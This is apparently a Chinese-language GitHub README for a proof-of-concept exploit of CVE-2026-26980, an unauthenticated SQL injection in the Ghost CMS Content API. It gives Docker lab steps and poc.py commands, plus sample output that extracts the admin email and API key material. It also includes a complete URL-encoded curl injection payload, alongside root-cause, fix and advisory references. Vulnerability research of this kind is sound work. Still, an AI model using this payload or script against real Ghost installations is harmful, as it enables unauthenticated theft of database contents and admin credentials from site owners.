
Ghost Content API SQL Injection
★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL注入PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 是 TryGhost Ghost CMS Content API 中的一个未经认证的 SQL 注入漏洞。当处理 slug:[...] 排序时,可通过公共 Content API 过滤逻辑访问受影响路径。
该 PoC 构建了一个受控的 Ghost 6.19.0 实验环境,并演示了如何将公共 Content API 请求转变为基于布尔值的数据库读取原语。
| 产品 | 受影响版本 | 修复版本 | 漏洞类型 |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQL 注入 |
实验环境使用 Ghost 6.19.0。
使用 Docker 构建并运行存在漏洞的 Ghost CMS 环境:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
示例:
http://127.0.0.1:9102/
实验环境在 9102 端口运行一个真实的存在漏洞的 Ghost 6.19.0 实例。
实验环境的 Content API 密钥为:
EQSTLab299
CVE-2026-26980:TryGhost Ghost CMS Content API SQL 注入漏洞
描述:在 TryGhost Ghost CMS 6.19.1 之前的版本中存在 SQL 注入漏洞,允许拥有公共 Content API 密钥的未认证攻击者通过 Content API 的 filter 参数读取任意数据库值。问题出现在 slug:[...] 过滤器排序路径中,用户控制的 slug 值被插入到原始 SQL 中,而没有进行适当的参数绑定。
Ghost Content API 密钥通常通过主题、搜索、门户或前端 JavaScript 在浏览器中公开暴露。这意味着无需 Ghost Admin 认证即可访问该漏洞路径。
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [目标地址]
可选的自定义 Content API 密钥:
python3 poc.py --url [目标地址] --key [Content API 密钥]
python3 poc.py --url [目标地址]
python3 poc.py --url [目标地址] --key EQSTLab299
[目标地址] 示例:http://127.0.0.1:9102
========================================================================
Ghost CMS - 未认证 SQL 注入数据提取
========================================================================
目标地址: [目标地址]
API 密钥: [Content API 密钥]
端点: Content API(公共,无认证)
[*] 校准预言器... 完成
[*] 阶段1:侦察(快速检查)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 个字符): 110
count(users) (1 个字符): 1
count(api_keys) (1 个字符): 9
[*] 阶段2:提取值
管理员邮箱 (17 个字符): [email protected]
管理员名称 (5 个字符): Ghost
管理员 API 密钥 ID (24 个字符): <已擦除>
管理员 API 密钥 secret (64 个字符): <已擦除>
[*] 阶段3:数据库快照
结果: 数据库读取原语已确认
该公共 PoC 通过提取实验环境安全的数据库元数据和 Ghost API 密钥材料来演示数据库读取影响。它不会打印挑战标志。
GET /ghost/api/content/tags/?key=[Content API 密钥]&filter=slug:[...]
漏洞逻辑存在于 Ghost Content API 中 slug:[...] 过滤器的输入序列化路径。Ghost 支持列表式的 slug 过滤器,并通过生成 ORDER BY CASE 表达式来保留请求的 slug 顺序。
在存在漏洞的版本中,用户控制的 slug 值被插入到 SQL 片段中。简化的漏洞模式如下:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
由于 slug 由攻击者控制并被插入到 SQL 字符串中而未进行参数绑定,精心构造的 Content API 过滤器可以突破预期的比较范围并注入额外的 SQL 逻辑。
实验环境 PoC 使用两个公共标签 bacon 和 chorizo 作为可观测的布尔预言器。
bacon 会被优先排序。chorizo 会被优先排序。通过在不同 SQL 条件下重复此测试,PoC 可以逐个字符地推断数据库值。
使用 curl 进行布尔预言器检查:
curl -s "[目标地址]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
根本原因是基于用户控制的 slug 值不安全地构造 SQL ORDER BY CASE 片段。存在漏洞的代码试图保留 Content API 响应顺序,但将解析后的 NQL 过滤器值视为可信的 SQL 文本。
一个稳健的修复方案必须:
Ghost 在 6.19.1 版本中通过将原始插值替换为参数化查询绑定来修复此问题。
这是一个 CWE-89:SQL 命令中特殊元素的不当中和 问题。
由于 Ghost Content API 是故意公开的,此漏洞可能允许未经认证的攻击者通过公共内容端点创建数据库读取原语。根据数据库内容和权限,攻击者可能能够:
+-------------------------------------------+
| 远程攻击者 |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost 公共 Content API |
+-------------------------------------------+
|
| 不安全的 slug 顺序 SQL 构造
v
+-------------------------------------------+
| ORDER BY CASE SQL 注入 |
+-------------------------------------------+
|
| 标签排序中的布尔差异
v
+-------------------------------------------+
| 未认证的数据库读取 |
+-------------------------------------------+
该实验环境运行一个真实的存在漏洞的 Ghost 6.19.0 实例,而非最小化模拟服务器。
实验环境预置了:
EQSTLab299bacon、chorizo公共 poc.py 是为演示视频和公开分析报告设计的。它展示 SQL 注入的影响,但不会打印挑战标志。
docker stop cve-2026-26980
本仓库并非针对 CVE-2026-26980 的 SQL 注入利用工具。该项目的目的是帮助人们了解此漏洞,并可能用于测试自己的应用程序。
https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
https://github.com/TryGhost/Ghost/releases/tag/v6.19.1
https://nvd.nist.gov/vuln/detail/CVE-2026-26980